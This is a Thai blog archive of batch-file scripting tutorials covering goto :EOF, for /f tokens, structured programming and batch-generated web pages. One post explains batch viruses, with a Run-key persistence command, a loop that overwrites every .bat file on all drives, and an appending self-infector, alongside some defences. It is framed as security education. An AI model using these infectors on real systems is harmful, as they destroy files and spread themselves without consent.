เมื่อก่อน ถ้าคุณต้องเขียนแบตช์ไฟล์และมีการ Goto :END เพื่อบอกให้รู้ว่า...นี้น่ะนะ...สิ้นสุดคำสั่งทั่งมวลแล้ว...ไม่ต้องร่ายบรรทัดคอมมานด์มาอีก... ถ้าเป็นเมื่อก่อนต้องระบุ :END หรือ :EndOfFile เพิ่อบอกให้ Batch File รู้ว่า ในตอนท้ายสุดของคำสั่งว่า...มันหมดแล้วนะคำสั่งทั้งหมด...ของโปรแกรมเช่น
@Echo
:Main
dir
type
goto :End

goto :Main
.
.
:End

เจ้า :End จะเป็นส่วนที่บอกว่า...สิ้นสุดแล้วนะโปรแกรมแต่ต่อไปนี้...ไม่ต้องอีกแ้ล้ว...แค่คุณใส่้คำสั่งนี้
:EOF หรือ End Of File แค่นี้...Batch File จะเข้าใจทันทีว่าไปที่ท้ายสุดของโปรแกรมดังนี้
@echo
echo Type 1-3 goto Label
if not "%1"== "" goto :%1
goto :EOF

:1
echo %1
goto :EOF

:2
echo %1
goto :EOF

:3
echo %1
goto :EOF

โปรแกรมนี้...จะทำการบอกตำแหน่งที่มันกระโดดไป...โดยไม่เห็นต้องระบุตำแหน่ง :EOF เลยแม้แต่น้อย

ไม่จำเป็นอีกแล้ว...ที่ต้องยิงคำสั่งหรือผลการทำงานไปยังแฟ้มอื่น...ให้รกเครื่อง?
อย่างที่เคยบอกไปแล้วตั้งแต่ตอนแรกๆ คือ ใครเข้าใจคำสั่ง For /f ได้ท่่องแท้...เหมือนรู้ซึ่งถึงคัมภรี์ "มังกร 18 ท่า" ของมังกรหยก เพราะมันถือเป็นไม้ตายของ CMD บนวินโดวส์อย่างแท้จริงเพราะมันสามารถทำงานที่ซับซ้อนให้จบภายใน Batch File ตัวเดียว...โดยไม่ต้องโยนคำสั่งไปยังแฟ้มอื่นๆ อีกต่อไป

for /f "tokens=*" %%l in ('DIR *.*') do echo %%l
หมายถึง ให้นำคำสั่ง DIR *.* มาเก็บยังตัวแปร %%l ทีีละบรรทัด โดย Tokens คือ * หมายถึง โดยไม่สนใจว่้ามีกี่คอลัมภ์ ให้นำมาหมดสมมุติผลที่ได้ดังนี้
Volume in drive C is New Volume
Volume Serial Number is D04A-1158
Directory of C:\DOCUME~1\SM
06/19/2013  03:03 PM    <DIR>          .
06/19/2013  03:03 PM    <DIR>          ..
06/19/2013  03:03 PM                61 1.bat
06/18/2013  09:32 AM    <DIR>          Desktop
06/18/2012  12:46 AM    <DIR>          Favorites
06/18/2012  12:40 AM    <DIR>          handyCafe
09/29/2012  12:46 AM    <DIR>          My Documents
07/01/2012  03:42 PM    <DIR>          Start Menu
06/20/2012  08:44 PM    <DIR>          Tracing
1 File(s)             61 bytes
8 Dir(s)  18,231,889,920 bytes free

for /f "token=1" %%l in ('DIR *.*') do echo %%l
หมายถึง เก็บบรรทัด DIR มาใน %%l โดยนำมาเฉพาะ คอลัมภ์ที่ 1
ผลที่ไำด้จะเป็นเช่นนี้
Volume
Volume
Directory
06/19/2013
06/19/2013
06/19/2013
06/18/2013
06/18/2012
06/18/2012
09/29/2012
07/01/2012
06/20/2012
1
8

for /f "token=1-3" %%l in ('DIR *.*') do echo %%l %%m %%n
หมายถึง ให้เก็บบรรทัด DIR *.* ใน %%l  %%m %%n (เพราะ 1 คือ %%l และ 2-3 จะเป็น %%m-%%n โดยอัตโนมัติ) โดยนำมาเฉพาะ คอลัมภ์ที่ 1-3
Volume in drive
Volume Serial Number
Directory of C:\DOCUME~1\SM
06/19/2013 03:07 PM
06/19/2013 03:07 PM
06/19/2013 03:07 PM
06/18/2013 09:32 AM
06/18/2012 12:46 AM
06/18/2012 12:40 AM
09/29/2012 12:46 AM
07/01/2012 03:42 PM
06/20/2012 08:44 PM
1 File(s) 71
8 Dir(s) 18,233,896,960

ตอนหน้าจะมาต่อ For /F ต่อกัน

วันศุกร์ที่ 14 มิถุนายน พ.ศ. 2556

หลักการเขียนโปรแกรม (ทางเลือกและทางแยก) ของ Batch File

ในทุกวันนี้...โปรแกรมเมอร์และผู้เขียนโปรแกรมเป็นไม่ว่าจะภาษาใดๆ มีเยอะมาก...แต่โดยรวมแล้วหลักการเขียนโปรแกรมและโครงสร้างของภาษานั้น...บางคนยังตีความไม่ได้ว่า...ตัวเองถนัดด้านใด...และเขียนโปรแกรมด้วยภาษานี้...มันเรียกว่าอะไร
โดยส่วนตัวผมถนัดโปรแกรมแบบไม่มีโครงสร้าง, เชิงโครงสร้าง ไม่ถนัดโปรแกรม เชิงโมดูล และ เชิงวัตถุ... แต่ด้วยเทคโนโลยีที่เปลี่ยนไป...ทำให้ต้องปรับตัวเพื่อความอยู่รอดเหมือนกัน..เพื่อที่ก้าวสู่อนาคต...โดยไม่สูญพันธ์ทางความคิดไปพร้อมโลกยุคโบราณ
และโปรแกรมแยกเป็นอะไรบ้าง?
1. โปรแกรมแบบไม่มีโครงสร้าง
2. โปรแกรมเิชิงโครงสร้าง
3. โปรแกรมเชิงโมดูล
4. โปรแกรมเชิงวัตถุ

โปรแกรมแบบไม่มีโครงสร้างเป็นอย่างไร?
โปรแกรมแบบไม่มีโครงสร้าง...ทำงานง่ายๆ รันและจบ ถ้าเปรียบกับ Batch File เองมันเหมือนโปรแกรมที่คุณเขียนขึ้นโดยควบคุมด้วย Goto และ :Label เป็นหลัก เรียกขึ้นทำงานรอรับคีย์ไม่กี่อย่างก็จบการทำงาน โปรแกรมจำพวกนี้เป็นแม่แบบภาษายุคโบราณได้ Assembly, QBasic และโปรแกรมแบบอินเตอร์พลีต (ประมวลผลทีละบรรทัด) ทำงานที่ไม่ซับซ้อน...ถ้าเขียนมันด้วยคำสั่ง Goto จำนวนมากจะเกิดข้อผิดพลาด...และความสับสนต่อผู้เขียนอย่างมาก สื่อสารลำบาก...ที่สำคัญ...ไม่มีใครเขียนขึ้นมาแล้วยกเว้นยังอนุรักษ์ โครงสร้างแบบนี้ไว้ใน Batch File แต่ถ้าทำงานซับซ้อน...เช่นแสดง Logo ทุกครั้งที่รับแป้นพิมพ์ คำสั่ง Goto อาจทำได้ยาก เช่น

@echo off
:Main
cls
Echo MyLogo Line 1
Echo MyLogo Line 2
Echo MyLogo Line 3
Echo MyLogo Line 4
Echo MyLogo Line 5
set /p p1=Enter Your Password : 
if not "%p1%"=="" goto :Confirm
goto :Main

:Confirm
rem อยากแสดง Logo อีกครั้งต้อง ก็อปข้างบนมาให้เปลืองบรรทัดอีก
Echo MyLogo Line 1
Echo MyLogo Line 2
Echo MyLogo Line 3
Echo MyLogo Line 4
Echo MyLogo Line 5
set /p p2=Confirm Password  : 
if "%p1%=="%p2% goto :Admin
goto :Main

:Admin
.
.
.
goto :Main

โปรแกรมเชิงโครงสร้างเป็นอย่างไร?
ผมอยากให้ทุกคนมอง Batch File เป็นภาษาเชิงโครงสร้าง...คือทำงานแบบเรียก "โพซิเยอร์" หรือ "โมดูล" และคืนค่่า่กลับมา...เพื่อให้ง่ายต่อการสื่อสารกับผู้สารต่อ...และง่ายต่อผู้เขียนโปรแกรมเองไม่แนะนำให้เขียน Batch File แบบเมื่อก่อนคือ เอะอะ อะไร ก็ Goto :Label เอาอย่างเดียวเพราะ Batch File เองนั้นในปัจจุบันไม่ได้เหมือนเมื่อก่อนแล้ว...ที่จะเขียนคำสั่ง ใน "โพซิเยอร์" นั้นต้องแยกไปอีกแฟ้ม...เดียวนี้ "มันไม่ต้อง Batch File แยกไปอีกตัวแล้ว" เพราะสามารถเรียก Batch  File อีก "โพซิเยอร์" ณ ตำแหน่ง :Label ได้เลย เพียงแต่ตอนท้ายของ "โพซิเยอร์" ให้กำหนดคำสั่ง Goto :EOF เท่านั้น และการเขียนโปรแกรมเชิงโครงสร้างนี้...สามารถทำให้ Batch File สามารถทำงานที่ซับซ้อนได้มากขึ้น เช่น ถ้าคุณต้องการแสดง Logo ของคุณที่ Batch File แบบตอนต้น...จะสิ้นเปลืองคำสั่ง...มาดูการทำงานของโปรแกรมแบบโครงสร้างทำงานอย่างไร

@echo off
:Main
Call :BeginEnter
Call :LastEnter
if "%p1%=="%p2% Call :Admin %p1%
goto :Main

:BeginEnter
Call :MyLogo
set /p p1=Enter Your Password : 
goto :EOF

:LastEnter
Call :MyLogo
set /p p2=Confirm Password  : 
goto :EOF

:MyLogo
cls
Echo MyLogo Line 1
Echo MyLogo Line 2
Echo MyLogo Line 3
Echo MyLogo Line 4
Echo MyLogo Line 5
goto :EOF

:Admin %1
goto :EOF

จากตัวอย่าง...เจตนาคือให้บรรทัดสั้นลง...แต่ด้วยจำนวนชุดคำสั่งยังน้อยอยู่เลยไม่เห็นความแตกต่าง...จริงๆ แล้วการเขียนโปรแกรมเชิงโครงสร้างนั้นชุดคำสั่งจะสั้นลง...การทำงานจะซับซ้อนหรือฉลาดขึ้น...รวมถึงการปรับเปลี่ยนค่าเช่น...จะเพิ่มบรรทัด Echo MyLogo Line 6 เข้ามา...แค่เพิ่มในโพซิเยอร์ :MyLogo เท่านั้น...ไม่ต้องยุ่งยากเหมือนตอนแรกที่ต้องเพิ่มมันทุกๆ :Label ของคำสั่งที่เรียก การเขียนโปรแกรมเชิงโครงสร้าง...จะเป็นพื้นฐานที่ดีในการเขียนโปรแกรมในอนาคตสำหรับผู้ที่จะเป็นโปรแกรมเมอร์ชั้นเซียน ... หลักการของมันคือ ... "ถ้าพบว่าชุดคำสั่ง ใดๆ มีความซ้ำหรือเรียกใช้งานบ่อยๆ และสามารถนำมันแยกออกมาเป็นโพซิเยอร์ได้...ควรทำ" ด้วยหลักการแค่นี้...จะทำให้คุณสามารถเขียนโปรแกรมได้ซับซ้อนขึ้น...และฉลาดขึ้นมาก

โปรแกรมเชิงโมดูลเป็นอย่างไร...?
จริงๆ แล้ว...หากจะยกตัวอย่างใน Batch File นั้นไม่เหมาะ...เพราะมันเองไม่ได้ทำงานแบบ เชิงโมดูลเลย...ไม่มี Class หรือ Module ที่เรียกใช้สำหรับโปรแกรมเมอร์หลายๆ คน ผู้เขียนจะเปรียบเทียบเชิงความคิดว่า...จริงๆ แล้วภาษาเชิงโมดูลเป็นส่่วนต่อของการพัฒนาิเชิงโครงสร้าง...อย่างเช่น ภาษา C ในอดีต...เป็นภาษาโครงสร้างที่มีความฉลาดและซับซ้อนมาก จนถูกพัฒนาเป็นภาษาเชิงโมดูลใน C++ , และ C# เพื่อทำงานบนระบบปฏิบัติการวินโดวส์ ส่วนบน DOS เห็นมีแต่ภาษาเชิงโครงสร้างทั้งหมด และโมดูลคืออะไร มันคือส่วนขยายของชุดคำสั่งที่อาจมีอยู่ใน ภาษานั้น จนไปถึงผู้ใช้งาน (ผู้เขียนโปรแกรม) สร้างขึ้นเองเพื่อความสะดวก เช่น ถ้าเป็น Batch File ในตอนต้น โพซิเยอร์ที่มีมีประโยชน์ต่อโปรแกรมเมอร์คนอื่น...อาจถูกแยกให้เป็น "โมดูล" ที่แสนฉลาด...และใช้งานกับ โปรแกรมอื่นๆ ได้โดยโดยไม่เป็นปัญหา โพซิเยอร์นั้นจะถูกแยกออกเป็น แฟ้มคำสั่งต่างหาก...เพื่อให้เรียกใช้งานได้เมื่อยามจำเป็น จากตัวอย่างตอนต้น...โมดูลที่แยกออกมาได้คือ

:MyLogo
cls
Echo MyLogo Line 1
Echo MyLogo Line 2
Echo MyLogo Line 3
Echo MyLogo Line 4
Echo MyLogo Line 5
goto :EOF

โปรแกรมเชิงวัตถุ...อนาคตที่ห่างไกล...ของ Batch File
Batch File นั้นทำงานเฉพาะ "แป้นพิมพ์และจอภาพ" ฉนั้นโปรแกมเชิงวัตถุเป็นเรื่องที่ห่างไกลหลักการอย่างมาก หากผู้ที่สนใจแบตช์ไฟล์ต้องการเขียนโปรแกรมให้เป็นเชิงวัตถุ...ขอเน้นย่ำว่า...ไปศึกษา VB6 หรือ VB.NET จะดีกว่า เพราะหลักการทั้ง 3 หัวข้อที่กล่าวมา...ไม่ได้มีส่วนเกี่ยวข้องกับโปรแกรมเชิงวัตถุเลย...เพราะโปรแกรมเชิงวัตถุ...พัฒนาจน "คลาส" ต่่างๆ สามารถ มีการถ่ายทอดรูปแบบและความสามรถของชุดคำสั่ง ให้เหมือนต้นแบบ... รวมถึงเทคนิคประหลาดอื่นๆ ที่ผู้เขียนเอง...ยังสับสนและไม่เข้าใจอยู่มากสำหรับภาษาเชิงวัตถุ...ทั้งศัพย์ภาษาอังกฤษที่เรียกใช้...วิธีการ...รวมถึงหลักการของภาษาเชิงวัตถุ...ทางที่ดีควรหาหนังสือด้านนี้มาวิเคราะห์และพัฒนาเองจึงจะเข้าใจ

วันศุกร์ที่ 7 มิถุนายน พ.ศ. 2556

ทำความเข้าใจ Batch File Virus ตอนที่ 2

      โดยหลักแล้ว...ผู้ที่ศึกษาแบตซ์ไฟล์สำหรับเด็กรุ่นใหม่ๆ มักจะหาทางเขียนไวรัสผ่านคำสั่งเหล่านี้ แต่เว็บที่สอนโดยทั่วๆ ไป นั้นสอนเพียง Logic Bomb และ Reg Edit File ซึ่งเป็นเพียงการปิดออปชั่นบางตัวของระบบปฏิบัติการ หรือ ง่ายสอนแบบทื่อ...ๆ เลย ก็เรียก Shutdown.exe มาทำการตั้งเวลาปิดเครื่อง...โอย... เนี้ยๆ นะไวรัส ไม่ใช่ว่าผมเก่งหรืออยากประกาศศักดาอะไรนักหนาหลอกนะครับ...แต่ทางทฤษฎีแล้ว พวกนั้น...ไม่ได้ใกล้เคียงคำว่า "ไวรัสคอมพิวเตอร์" แม่แต่น้อย
      ไวรัสในธรรมชาตินั้น มันสามารถ "ขยายพันธ์ได้" และ "ดำรงชีวิตอยู่ได้้ด้วยตัวเอง" นั้นแหละครับการเขียนไวรัสคอมพิวเตอร์เช่นกัน "มันต้องเป็นคำสั่งที่มีชีิวิต" "อาศัยคอมพิวเตอร์เพื่อรอโอกาศได้" "แพร่ขยายตัวเองและจำนวนได้" ถ้าคุณเขียนมันได้อย่างนี้ซิ...ถึงเรียกว่า "ไวรัสคอมพิวเตอร์"

และจะเขียนมันยังไงให้มีชีวิต?
      1. ดักรอสถานการณ์การเรียกใช้แฟ้มพาหะ
      2. ดักรอสถานการณ์การเปิดเครื่องและเรียกผ่าน Key Startup หรือ Start Up Folder

และจะขยายจำนวนยังไง...?
      1. ผ่านคำสั่ง Find.exe หรือ Findstr ของ Cmd.exe
      2. ผ่านเงื่อนไขตัวมันเองด้วย for /f "tokens=...
      3. คัดลอกตัวเองต่อท้ายเลยให้คำสั่งวินาศสันตะโร ด้วย Copy file1.bat+virus.bat
      4. แทนทีคำสั่งเป้าหมายด้วยไวรัสเสียเลย @echo %0.bat>file1.bat
      5. อีำกเยอะ...วิธีการในการแพร่เชื้อไวรัสและให้มันมีชีวิต...แล้วแต่จะประยุกต์คำสั่งเอง

ไม่ผิดหลักจริยธรรมและกฎหมายหรือถ้าสอนเขียนมัน?
      ด้วยเจตจำนงของผู้เขียนเอง...นำเสนอเนื้อหาไม่ใช่เพื่อความสนุกคึกคนอง หรือ อยากลองวิชา...แต่เกิดจา่กประสบการณ์ และการลองผิดลองถูกในการศึกษาด้านความปลอดภัยของเครื่องคอมพิวเตอร์กว่า 10 ปี แรกๆ อาจจะสนุกๆ และอยากลองวิชา...แต่ด้วยวัยวุฒิและฐานะแล้ว ขอรับประกันว่าเนื้อหาที่นำเสนอ...เป็นพื้นฐานในการศึกษาความปลอดภัยของระบบปฏิบัติการวินโดวส์ เพื่อให้รู้เท่าทันว่า...จุดอ่อนมันอยู่ที่ไหน... และโปรแกรมพวกนี้ทำงานอย่างไร (ไม่ใช่ว่ามีแต่ทฤษฎีไวรัสคอมพิวเตอร์เพียงในตำรา...แต่มันทำงานและเขียนอย่างไรก็ไม่รู้) ผู้เขียนจะเน้นอธิบายการสร้างและการป้องกันพวกมัน...เบื้องต้น...ให้ต่อยอดความคิดที่จะป้องกันไวรัสระดับที่สูงขึ้นไปเ่ช่น TSR ไวรัส หรือไวรัสโพลิมอฟิก ตัวมันได้ จริยธรรมและกฎหมายเอื้อต่อการ "ผ่าพิสูจน์ศพมนุษย์ ฉันท์ใด การทดลองไวรัสที่ไม่มีพิษภัย...เพื่อแยกคำสั่งตับไตใส้พุ่งมันมาศึกษา...ก็เป็นประโยชน์และบริสุทธิ์ฉันท์นั้น"

มันจะเป็นอันตรายมากไหม...หากจะผ่าพิสูจน์ไวรัสในบล็อกนี้?
1. สิ่งที่คุณต้องเตรียมคือ...สติ...ไม่ใช่ "ก็อป" และ "วาง" และ "รัน" ตูม.... (มันไม่ได้อันตรายขนาดนั้นแต่ถ้าเป็นแค่เด็กร้อนวิชา...เนื้อหาไม่อ่าน...แต่คัดลอกแค่โค้ดและึความมันส์เท่านั้น...ก็น่าเป็นห่วง)
2. ไม่ต้องเก่งแบตซ์แบบเทพ...แต่ต้องมีพื้นฐาน DOS ที่ปูไว้ 8 ตอน ในบล็อก แรกก่อน...ถ้าไม่มี...แนะนำให้กลับไปอ่านก่อน
3.ไวรัสแบตช์ไฟล์...เป็นเพียงไวรัสกระจอก "ย้ำ" ไวรัสกระจอก "แฮกเกอร์เขาไม่ใช้มันทำงานจริง" ฉนั้นถ้าคุณคิดว่าเข้าใจบล็อกนี้ทะลุปุโปร่งและจะไปรบราฆ่าฟันกับ "แฮกเกอร์" คิดผิดและท่าน
4.สำคัญยิ่งคือ คิดและต่อยอดความคิดว่า...ไวรัสบนโลกมาจากช่องทางที่เปิดไว้หรือถูกทะลุทะลวงด้วยจินตนาการของแฮกเกอร์ ฉนั้น...ตัวอย่างในบล็อกนี้เป็นเพียง "รูหนูเก่าๆ ระบบปฏิบัติการวินโดวส์" คุณอาจจะต้องศึกษาเพิ่ม...และจินตการถึงความเป็นไปได้ให้มากที่สุดว่า..."ไวรัสที่เหนือกว่าทำงานอย่างไร...และเขียนขึ้นอย่างไร"

เนื้อหา...ที่ 1 ช่องทางการเข้าถึงไฟล์
1. ดักรอที่ Start Up Folder
นี้ถือเป็นวิธีที่ง่ายที่สุดเท่าที่เคยมีมาในการ "แฮกส์" ทำไมนะหรือ...คุณจับอะไรยัดใส่โฟลเดอร์นี้มันจะทำงานทันที ด้วยเหตุผลที่ว่า...มันจะจะทำงานทุกๆ ครั้งที่ิเปิดเครื่อง มันอยู่ที่ไหน...และจะใส่ไฟล์ไปได้ยังไง...ทำตามนี้...
1.1. คลิก Start ไปที่ Programs File...Startup คลิกขวา เลือก Open all users
1.2. จากนั้นวาง "ภาพผี และเสียง .mp3" อุ้ย...ไม่ใช่วางหรือสั่งไวรัสคัดลอกตัวเองมาที่โฟลเดอร์นี้เพื่อเรียกตัวมันทำงานทุกครั้งที่เปิดเครืิ่อง...เพื่อคัดลอกตัวเองไปที่อื่น
วิธีป้องกัน...คือ
ลบไฟล์ในโฟลเดอร์นี้ทิ้ง แค่นี้ก็เรียบร้อย

2. ดักรอที่ Start Up Key
2.1. ใช้คำสั่งนี้
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ชื่อคีย์ไวรัส" /d "Path ที่อยู่ไวรัสที่จะรัน"
2.2. และจะรู้ได้ยังไงว่า...มันอยู่ในระบบแล้ว
2.2.1. เรียก Msconfig ดูที่ Startup ว่ามันทำงานอยู่หรือเปล่า
2.2.2. ใช้คำสั่งนี้
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
ดูว่ามีมันอยู่ใน Hive นั้นหรือเปล่า
วิธีป้องกัน...คือ
ลบคีย์ไวรัสที่มีอยู่ใน Msconfig ทิ้งซะ

3. ฝังคำสั่งเรียกตัวมันใน "พาหะ" ติดเชื้อ
วิธีนี้บ่งบอกถึงความเป็นเทพในตัวคุณ แหละ...เพราะมันเป็นไวรัสที่กำจัดยาก...ไม่เหมือน "ยุง" ที่เกาะและแค่ตบก็ตายอย่าง 2 วิธีแรก ... แต่ตอนนี้...คุณกำลังเขียนไวรัสที่เป็น "พยาธิ" ซะแล้ว เริ่มเลย...เบบี้สุดๆ วิธีที่
3.1.ไวรัสเขียนทับไฟล์
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
rem ค้นหาไดร์ฟทั้งหมด
  for /r %%d:\ %%f in (*.bat) do (
rem หาแบตซ์ไฟล์ทั้งหมดในไดร์ฟนั้น
    Type %0.bat>%%f
rem เขียนคำสั่งที่มีอยู่ทับซะเลย
  )
)
***ความอันตรายสูง...ไวรัสตัวนี้ต่อระบบปฏิบัติการวินโดวส์มีแค่ มันจะทำลายแฟ้ม .BAT, .CMD ให้เป็นตัวไวรัสเอง...รอผู้หลงหรือไม่รู้ คัดลอกแฟ้มนี้ไปที่อื่น...ไปรันมันก็จะเกิดสถานะการณ์เดียวกันกับตอนแรก วนไปซ้ำ...ๆ แต่ก่อนที่มันจะสามารถแพร่เชื้อไปได้มากกว่านี้...มันต้องตายก่อนเพราะ "ความโง่" ด้วยหลักการที่ว่า "ไวรัสใด...ทำลายพาหะติดเชื้อโอกาศรอดในธรรมชาติมีต่ำมาก เพราะจะุถูกจับผิดได้เสียก่อน"

2. ไวรัสแบบเขียนต่อเติมไฟล์ (พัฒนาจากตัวเมื่อกี้)
%VirusBatchFile%rem
%VirusBatchFile%for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
%VirusBatchFile%  for /r %%d:\ %%f in (*.bat) do (
%VirusBatchFile%    findstr "VirusBatchFile" %%f
%VirusBatchFile%    if errorlevel 0 (
%VirusBatchFile%      findstr "VirusBatchFile" %%0.bat>>%%f
%VirusBatchFile%    )
%VirusBatchFile%  )
%VirusBatchFile%)
***ความอันตรายปานกลาง...ไวรัสตัวนี้...เรียกกว่ากลายพันธ์จากตัวเมื่อกี้นิสส์นึง...โดยให้ไวรัสมีรหัสพันธุกรรม คือ %VirusBatchFile% นำหน้า "และมีมันไว้ทำไม...?" มันมีไว้เพื่อให้คำสั่ง FindStr ค้นหาว่าแฟ้มเป้าหมา่ยติดเชื้อหรือยัง...ถ้ายัง...ส่งผลการค้นหา (บรรทัดที่พบ) ไปยั้งแฟ้มเป้าหมาย ไวรัสตัวนี้...โอกาศรอดสูงมาก...เพราะมันไม่ได้ส่งผลต่อคำสั่งของ "พาหะ" แต่มันจะอยู่ร่วมกับพาหะ...ในส่วนท้ายของคำสั่ง แต่อย่างไร...ผู้ที่เขียนแบตซ์็ไฟล์จะรู้ว่า...คำสั่งทำงานช้าลง...หรือผิดปกติบางอย่างทุกๆ ครั้งที่รันได้ถ้ามีประสบการณ์

ต่อใน ตอน 3 เพื่อศึกษาไวรัสในระดับที่สูงขึ้นไปอีก

วันพฤหัสบดีที่ 6 มิถุนายน พ.ศ. 2556

การใช้เว็บเป็นเครื่องมือแสดงผลภาษาไทย Batch File ตอน 2


เทคนิคขั้นเทพลำดับต่อไป...

     บางครั้งคุณไม่รู้จะเขียนแบตซ์ไฟล์เพื่อให้เรียกภาษาไทยยังไง (โดยไม่ต้องยุ่งกับการ Setup Font True Type ภาษาไทยที่ลองรับ DOS) และต้องคลิกนู่นคลิกนี่ ซึ่งผู้ใช้งานบางครั้งผู้ใช้บางคนอาจทำไม่เป็น หรือยุ่งยากในการลำดับเหตุการณ์ใส่คู่มืออีก “ผมแนะนำว่า”
 ข้อเสียที่สำคัญสุดของ Ture Type ภาษาไทยคือ มันสระกระโดด...ใน DOS และอ่านแทบไม่รู้เรื่อง อีกอย่างการแสดงแสง สี เสียง ทำไม่ได้เต็มที่อย่างที่ตั้งใจ และคุณจะดันทุรัง นำภาษาไทยไปใส่ Console ทำไม?
การแสดงผล Batch File ด้วยภาษาไทยบนวินโดวส์...ทางเลือกอื่นคือ?
    1. แสดงผลผ่าน Notepad เอาดื่อๆ และเรียกมันผ่านคำสั่ง Start เช่น
Echo ทดสอบข้อความ>readme.txt
Echo บรรทัดต่อมา...>>readme.txt
Start readme.txt
ซึ่งในวิธีนี้เองมันง่ายก็จริง...แต่ไม่สามารถรับหรือตอบรับหน้าจอกับผู้ใช้งานได้ อย่างเช่น รับการกด Yes No หรือ การพิมพ์ “Password” ซึ่ง Notepad ทำไม่ได้อยู่แล้ว
    2. สร้างหน้าเว็บผ่าน Batch File และรอให้มันเรียก Batch File อีกครั้งผ่าน Evens ของ JAVA เพียงเล็กน้อย ทำให้สามารถแสดง ทั้งภาพ เสียง ลิงค์ หรือแม้แต่ปุ่มต่างๆ และโยนภาระให้ JAVA จัดการแค่เหตุการณ์เท่านั้นส่วนคำสั่งเชิงลึก...หรือคำสั่งที่คุณมีความรู้เกี่ยวกับแบตซ์ไฟล์เชิงเทคนิค ให้ JAVA เรียก Batch File ตัวเดิมที่สร้างหน้าเว็บนี้แหละ

และทำไมไม่เขียนด้วย JAVA ทั้งหมดซะ?
คำตอบคือ ใช่มันดีกว่า เหตุผลคือ แต่มันจะง่ายกว่าไหม ถ้าเขียนคำสั่ง DOS ที่รันบนวินโดวส์ทุกรุ่นโดยไม่ต้องคำนึงถึงเรื่องการสื่อสาร...แต่แค่เขียนเครื่องมือช่วยเหลืองานด้านวินโดวส์ เช่นรวบรวมคำสั่ง .BAT หรือ .CMD ที่เป็นการปรับแต่ง Registry ทั้งหมดไว้แล้วแต่ต้องนำ Code ทั้งหมดไปเขียนหรือ Compile  ใหม่บน JAVA โอย...ไม่ง่ายเลย สู้นำ Batch File ตัวเดิม...มาบรรจุ HTML ง่ายกว่าเยอะ

และมันจะทำงานได้เหรอถ้าไม่ต่อเน็ต?
    คำตอบคือ ได้ แต่ คำสั่งที่มีการลิงค์ไปยังเว็บไซต์เท่านั้นที่ไม่ทำงาน เหตุผลที่ดีกว่าคือ การนำ Batch File ทั้งชุดไปเขียนใน Programs Application นั้นยุ่งยากกว่ามากหากคุณมีคำสั่ง Batch File หลายๆ คำสั่ง และต้องสร้างปุ่มคำสั่งบน Application นั้น อย่างเช่น VB6 ไหนคุณต้องสร้างปุ่ม ระบุชื่อปุ่มบรรจุโค้ด และสร้างคำสั่งเรียกใช้ ถ้าเป็นแค่ คำสั่ง สองคำสั่ง...ก็ไม่เป็นไร แต่ถ้าคุณมี เทคนิคการปรับแต่งที่รวบรวมไว้เป็นร้อยเทคนิค และต้องการมารวมไว้ในโปรแกรมเพียงโปรแกรมเดียวมันไม่ง่าย...อย่างเช่นการสร้างโปรแกรม Tweak สักตัวถ้าเป็น VB6 คุณต้องใช้เวลาหลายวัน...และอาจทดสอบกันเป็นอาทิตย์เพื่อดูว่ามันทำงานได้ แต่ในทางกลับกัน ถ้าเป็น Web Application เองแค่เปิดแบตซ์ไฟล์ด้วย Notepad และสร้างคำสั่งยิงการแสดงผลไปที่เว็บไซต์ วิธีนี้...ประหยัดขั้นตอน...และข้อผิดพลาดได้มาก...ง่าย และนั้นคือเรื่องที่จะกว่าถึงในบล็อกนี้

    จากตอนแรก...เราสร้างเว็บ...เว็บสร้าง Batch File แต่ในตอน 2 นี้...Batch File สร้างเว็บ...เว็บส่งค่ากลับมายัง Batch File ที่สร้าง ซึ่งแตกต่างจากวิธีแรกโดยสิ้นเชิง (วิธีแรกเป็นการนำเสนอการเขียน Batch ง่ายๆ ที่จะรันบนเว็บไซต์ หากแต่มันไม่ได้ถูกควบคุมโดยแบตซ์ไฟล์เลย...แต่ถูกควบคุมด้วย JAVA Script) อย่าพึ่ง “งง” สรุปโดยสั้นๆ คือ บล็อกของผมเน้นการทำงานของ Batch File ที่สามารถควบคุมสิ่งต่างๆ ที่เกิดขึ้นภายใน Windows ได้ ซึ่งอาจจะไม่มีใครเขาทำกัน...แต่ผมเสนอ “คลิกไอเดีย” สำหรับคนที่สนใจ Batch File อย่างจริงจังมาควบคุมการทำงานของระบบปฎิบัติการวินโดวส์ นั้นเอง
ทำไมต้องใช้ Batch File สร้างเว็บ?
คำตอบคือ เพื่อความง่ายในการควบคุม โดยดูจากตารางเปรียบเทียบดังนี้
เว็บโดยทั่วไป
เว็บที่สร้างด้วย Batch File

เว็บโดยทั่วไป
เว็บที่สร้างด้วย Batch File
- สร้างด้วยภาษา HTML
- สร้างคำสั่ง HTML ด้วย Batch File
- ควบคุมการทำงานผ่าน JAVA หรือ VB
- สร้างคำสั่ง JAVA หรือ VB เพื่อควบคุมเล็กน้อย
- ส่งผลการทำงานหรือฟอร์มเอกสารกลับไปยังฟังก์ชั่น
ของภาษาที่ควบคุม
- ส่งผลการทำงานคำสั่งควบคุมให้โยนตัวแปร
หรือพารามิเตอร์กลับมายัง Batch File
- คำสั่งและหน้าเว็บอยู่ในไฟล์เดียวกัน
- คำสั่ง Batch File แยกเป็นเอกเทศ และสร้างเว็บ
หลอกๆ ขึ้นมาแสดงผลชั่วคราว
- ทำงานเร็วกว่า แต่คำสั่งที่สามารถเจาะลึกไปยัง
ระบบไม่ได้เพราะข้อจำกัดของสคริป
- ทำงานข้ากว่า สามารถส่งอะไรหรือเจาะลึกไป
ยังระบบวินโดวส์ส่วนใดก็ได้ เช่น โยนผลการ
ทำงานของ คำสั่ง SET ออกทางเว็บหลอกๆ ก็ได้

มาดูแผนภาพแสดงการทำงาน



ภาพนี้ แสดงการทำงานแบบตัวอย่างแรกที่ Batch File ไม่สามารถรับค่าหรือพารามิเตอร์ใดๆ จาก เว็บได้



ภาพนี้...แสดงตัวอย่างการสร้างเว็บด้วย Batch File และคืนค่าหรือพารามิเตอร์ที่ได้จาก Script ภายใน เว็บ เพื่อให้ Batch File สามารถทำงานได้อย่างเป็นเอกเทศได้

ตัวอย่าง Batch File แบบสร้างการสื่อสารภาษาไทยกับเว็บ
@echo off
if "%1"=="/a" goto :TestPara
:Main
cls
title โปรแกรมทดสอบการส่งและคืนค่าจากหน้าเว็บที่สร้าง โดย ธนัตถ์เดชน์  บุญลือลักษณ์
echo 1.Show Marquee Message
echo 2.Show Background Color
echo 3.Set Titlebar
